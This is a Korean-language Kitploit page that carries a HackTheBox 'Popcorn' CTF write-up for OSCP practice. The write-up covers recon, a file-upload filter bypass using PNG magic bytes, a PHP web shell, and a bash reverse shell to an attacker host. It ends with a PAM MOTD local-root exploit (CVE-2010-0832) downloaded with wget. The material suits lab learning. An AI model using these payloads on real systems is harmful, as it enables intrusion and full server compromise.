Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Popcorn-TJNULL-OSCP- — Popcorn HTB write-up은 고급 디렉터리 퍼징, Burp Suite를 사용한 매직 넘버/확장자 스푸핑을 통한 파일 업로드 우회, CVE-2010-0832 (PAM MOTD 파일 변조)를 통한 권한 상승을 다룹니다. | Kitploit
도구/GitHubGitHub/r3fr4kt/popcorn-tjnull-oscp-
Privilege EscalationReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationFuzzingCTFPenetration TestingLearning & EducationLabs & Practice
GitHubr3fr4kt/popcorn-tjnull-oscp-

Popcorn-TJNULL-OSCP-

2개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Popcorn HTB write-up은 고급 디렉터리 퍼징, Burp Suite를 사용한 매직 넘버/확장자 스푸핑을 통한 파일 업로드 우회, CVE-2010-0832 (PAM MOTD 파일 변조)를 통한 권한 상승을 다룹니다.

저장소 보기

HackTheBox: Popcorn 라이트업

날짜: 2026년 6월 5일
난이도: 쉬움
플랫폼: HackTheBox
주요 기술: 포트 및 서비스 열거, 디렉터리 퍼징 (Gobuster), 파일 업로드 우회, HTTP 요청 조작 (Burp Suite), 원격 코드 실행 (RCE), 고급 TTY 셸 안정화 (Python), 로컬 커널/PAM 익스플로잇 (MOTD 파일 변조).


1. 정찰 및 열거

포트 스캔 (빠른 정찰)

모든 65,535개 포트에 대해 빠른 TCP 포트 스캔(-p-)을 수행하여 열린 진입점을 찾습니다. 감사 환경에서 프로세스를 간소화하기 위해 --min-rate 5000을 사용하여 실행 속도를 최적화하고 DNS 확인 및 핑 스윕을 건너뜁니다:

root@kitploit:~
nmap -Pn -n -sS -p- --open --min-rate 5000 <VICTIM_IP>

초기 스캔에서 두 개의 열린 포트인 포트 **22 (SSH)**와 포트 **80 (HTTP)**가 안정적으로 발견됩니다.

서비스 및 취약점 스캔 (심층 분석)

다음으로, 식별된 포트에 대해 대상별 심층 스캔을 수행하여 정확한 서비스 버전을 확인하고 Nmap의 표준 및 기본 취약점 스크립트를 실행합니다:

root@kitploit:~
nmap -sCV -p22,80 --script="safe and vuln" <VICTIM_IP>

출력에서 대상 시스템에 대한 중요한 정보를 추출합니다:

  • 포트 22/TCP (SSH): OpenSSH 5.1 Debian 6ubuntu2 (상당히 오래된 Ubuntu Linux 배포판을 나타냄).
  • 포트 80/TCP (HTTP): Apache httpd 2.2.12

디렉터리 퍼징 (Gobuster)

브라우저를 통해 웹 애플리케이션과 상호작용하기 전에, 공격자 시스템의 /etc/hosts 파일에 대상 IP 주소를 추가하여 도메인 매핑을 정리하고 내부 리디렉션이 올바르게 해석되도록 합니다:

root@kitploit:~
<VICTIM_IP>    popcorn.htb

그런 다음 gobuster와 DirBuster의 클래식 중간 크기 단어 목록을 사용하여 자동화된 숨겨진 디렉터리 검색을 실행합니다:

root@kitploit:~
gobuster dir -u [http://popcorn.htb/](http://popcorn.htb/) -w /usr/share/wordlists/dirbuster/directory-lists-2.3-medium.txt

퍼징 단계에서 피해자 웹 서버에서 다음과 같은 접근 가능한 경로가 발견됩니다:

  • /index (표준 인덱스 랜딩 페이지).
  • /test (테스트 패널 또는 개발 정보 파일).
  • /torrent (토렌트 파일 호스팅 및 공유 전용 완전한 기능의 웹 플랫폼).
  • /response (내부 응답 페이지).

2. 초기 접근 경로 (웹 익스플로잇 및 필터 우회)

/torrent 디렉터리를 살펴보면 토렌트 공유 CMS가 나타납니다. 업로드 기능을 사용하기 위해 즉시 생성한 유효한 계정으로 등록하고 로그인합니다. 합법적인 .torrent 파일을 게시한 후, 플랫폼에서 토렌트 세부 정보를 편집하고 프로모션 스크린샷 이미지를 업로드할 수 있는 옵션이 활성화됩니다. 이 특정 양식이 주요 공격 경로가 됩니다.

원격 코드 실행(RCE)을 달성하기 위해 **Burp Suite (Repeater)**를 사용하여 백엔드 동작을 분석하며 일련의 테스트 단계를 거칩니다:

시도 1: GET 매개변수를 통한 동적 웹쉘 (구문 오류)

스크린샷 업로드 요청을 가로채고 파일 이름을 exploit.php로 수정합니다. 파일 본문에 고전적인 한 줄 웹쉘을 삽입하려고 시도합니다:

root@kitploit:~
<?php system($_GET['cmd']) ?>

결과: 웹 서버가 PHP 명령어 끝에 세미콜론 ;이 누락되어 실행 흐름이 중단되면서 내부 실행 오류를 반환합니다.

시도 2: 업로드 URL에 매개변수 삽입 (방법 실패)

구문을 <?php system($_GET['cmd']); ?>로 수정했지만, 요청이 POST (multipart/form-data 사용)로 전송되므로 헤더 URL (POST /torrent/upload_file.php?cmd=whoami) 내에 명령을 직접 전달하려고 시도합니다. 결과: 웹 서버가 다음 오류를 발생시킵니다:

root@kitploit:~
Cannot execute a blank command

분석: 파일 업로드 파싱 중에 백엔드는 URL에 있는 GET 변수를 완전히 무시합니다. upload_file.php 스크립트는 파일을 디스크에 쓰지만 즉시 내부 함수를 실행하려고 시도합니다. 예상된 본문 변수에 아무것도 수신되지 않으므로 $_GET['cmd']는 빈 값으로 처리됩니다.

시도 3: 이중 확장자 (정적 실행 실패)

파일이 유효한 이미지인지 확인하는 기본 확장자 검사 필터를 우회하기 위해 파일 이름을 innocent.php.png로 바꾸고 외부 매개변수에 의존하지 않도록 리버스 셸 페이로드를 하드코딩합니다:

root@kitploit:~
Content-Disposition: form-data; name="file"; filename="innocent.php.png"
Content-Type: image/png

‰PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>

결과: 서버가 성공적인 200 OK로 응답하며 다음을 표시합니다:

root@kitploit:~
Upload: innocent.php.png<br />Type: image/png<br />Upload Completed.

분석: 초기 필터를 성공적으로 우회했지만 파일이 엄격히 .png 확장자로 끝나므로 Apache 서버가 이를 일반 정적 이미지로 처리했습니다. 해당 파일을 탐색하면 브라우저가 원시 바이트를 일반 텍스트로 출력할 뿐이며, Apache는 파일을 PHP 인터프리터에 전달하지 않으므로 Netcat 리스너가 연결을 잡지 못합니다.

시도 4: 성공적인 우회 (확장자 수정 및 매직 넘버)

서버가 코드 실행을 트리거하려면 .php 확장자를 파싱해야 한다는 것을 알고, 확장자 순서를 반대로 바꾸고 (innocent.png.php), Content-Type: image/png 헤더를 그대로 유지하며, 파일 본문 시작 부분에 PNG 시그니처 또는 매직 넘버 (‰PNG)를 추가하여 백엔드 콘텐츠 유효성 검사를 우회합니다:

root@kitploit:~
POST /torrent/upload_file.php HTTP/1.1
Host: popcorn.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaBXxWz7L0ZMSUoc1

------WebKitFormBoundaryaBXxWz7L0ZMSUoc1
Content-Disposition: form-data; name="file"; filename="innocent.png.php"
Content-Type: image/png

‰PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1--

결과: 웹 서버가 파일을 깔끔하게 수락하고, 마지막 확장자를 처리하여 업로드 디렉터리 내에 **innocent.php**라는 이름으로 저장합니다:

root@kitploit:~
HTTP/1.1 200 OK
...
Upload: innocent.php<br />Type: image/png<br />Size: 0.2255859375 Kb<br />Upload Completed.

원격 코드 실행 (RCE) 트리거

업로드 스크립트는 업로드 POST 요청 컨텍스트 내에서 파일을 실행하지 않고 디스크에 저장만 하므로, 서버가 파일을 읽도록 강제하기 위해 독립적인 호출을 트리거합니다:

  1. 공격자 시스템에서 Netcat 리스너 설정:
root@kitploit:~
nc -lvnp 4444

  1. 업로드된 파일의 URL 경로로 직접 이동(브라우저를 통해 또는 Burp에서 깔끔한 GET 요청 사용)하여 리버스 셸을 트리거합니다:
root@kitploit:~
[http://popcorn.htb/torrent/upload/innocent.php](http://popcorn.htb/torrent/upload/innocent.php)

Apache 서버가 파일을 처리하도록 강제되고, PHP 태그를 감지하여 Bash 페이로드를 실행하며, 연결이 리스너에서 완벽하게 잡혀 www-data 사용자로 초기 접근 권한을 획득합니다.


3. 사후 침투 및 TTY 셸 안정화

셸을 받은 직후 권한 상승을 시도하면 심각한 환경 제한이 나타납니다:

root@kitploit:~
www-data@popcorn:/$ su root
su: must be run from a terminal

su 명령은 입력을 안전하게 받기 위해 실제 대화형 터미널(TTY)을 엄격히 요구합니다. python3을 통해 강제로 생성하려고 시도하면 이 레거시 박스에 설치되어 있지 않음을 나타냅니다 (The program 'python3' is currently not installed).

이 장애물을 시스템에 있는 **고전적인 Python 바이너리 (Python 2)**를 활용하고 공격자 시스템의 터미널 디스크립터를 재구성하여 우회합니다:

root@kitploit:~
# 1. Spawn an interactive shell using the absolute path of legacy Python
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'

# 2. Suspend the shell process to the background
Ctrl + Z

# 3. On our attacker terminal, set the keyboard state to raw and foreground the Netcat listener
stty raw -echo; fg

# 4. Force a screen refresh and map terminal environment variables for history and autocomplete support
reset xterm
export TERM=xterm
export SHELL=bash


4. 권한 상승

로컬 시스템 열거

피해자 시스템에서 실행 중인 OS 배포판과 Linux 커널 버전을 확인합니다:

root@kitploit:~
www-data@popcorn:/$ uname -a
Linux popcorn 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:05:01 UTC 2009 i686 GNU/Linux

www-data@popcorn:/$ cat /etc/issue
Ubuntu 9.10 \n \l

운영 체제는 구형 Ubuntu 릴리스(Karmic Koala)를 가리키며, 해당 커널 및 핵심 패키지에는 여러 알려진 로컬 권한 상승 결함이 포함되어 있습니다.

PAM MOTD 결함 익스플로잇

PAM의 메시지 오브 더 데이 파싱과 관련된 매우 실현 가능한 벡터를 식별합니다(Linux PAM 1.1.0 - MOTD 파일 변조 권한 상승, CVE-2010-0832로 추적됨). 이 취약점으로 인해 로컬 사용자가 로컬 SSH 인증 작업 중 안전하지 않은 심볼릭 링크 처리를 통해 root가 소유한 파일을 조작할 수 있습니다.

공개 익스플로잇 스크립트 **14339.sh**를 활용하여 공격 경로를 자동화합니다.

  1. 공격자 시스템에 익스플로잇을 다운로드하고 기본 Python HTTP 서버를 실행하여 호스팅합니다:
root@kitploit:~
searchsploit -m linux/local/14339.sh
python3 -m http.server 80

  1. Popcorn의 안정화된 셸에서 /tmp 디렉터리(전역 읽기/쓰기/실행 권한 부여)로 이동하여 스크립트를 다운로드하고 실행 가능하게 만듭니다:
root@kitploit:~
cd /tmp
wget http://<ATTACKER_IP>/14339.sh -O motd.sh
chmod +x motd.sh
./motd.sh

익스플로잇 출력:

root@kitploit:~
[*] Ubuntu PAM MOTD local root
[*] SSH key set up
[*] spawn ssh
[+] owned: /etc/passwd
[*] spawn ssh
[+] owned: /etc/shadow
[*] SSH key removed
[+] Success! Use password toor to get root

스크립트가 성공적으로 실행을 완료하여 /etc/passwd의 로컬 사용자 데이터베이스를 직접 변조합니다.

루트로 권한 상승

익스플로잇의 내부 작동 방식으로 인해 원래 root 사용자 계정의 비밀번호는 변경되지 않습니다. 대신, /etc/passwd 파일 끝에 루트 권한이 있는 새로운 클론 사용자를 주입합니다.

사용자 파일의 마지막 줄을 읽어 이를 확인합니다:

root@kitploit:~
www-data@popcorn:/tmp$ tail -n 1 /etc/passwd
toor:x:0:0:root:/root:/bin/bash

참고: 0:0(UID/GID) 구성은 이 계정에 루트 관리자와 동일한 식별 매개변수를 부여합니다.

원래 root 계정은 변경되지 않았기 때문에 su root를 비밀번호 toor로 실행하면 인증 실패 오류가 발생하지만, 안정화된 Python TTY 셸을 사용하면 사용자 정의 클론 계정을 대상으로 부드럽게 사용자를 전환할 수 있습니다:

root@kitploit:~
www-data@popcorn:/tmp$ su toor
Password: toor

비밀번호 (toor)를 입력하면 터미널 프롬프트가 즉시 최상위 해시 식별자 (#)로 변경됩니다:

root@kitploit:~
root@popcorn:/tmp# whoami
toor

root@popcorn:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

대상 시스템이 완전히 손상되었습니다. 이제 필요한 플래그 해시를 수집할 관리자 액세스 권한을 보유합니다:

  • 사용자 플래그: /home/george/user.txt
  • 루트 플래그: /root/root.txt
도구 다운로드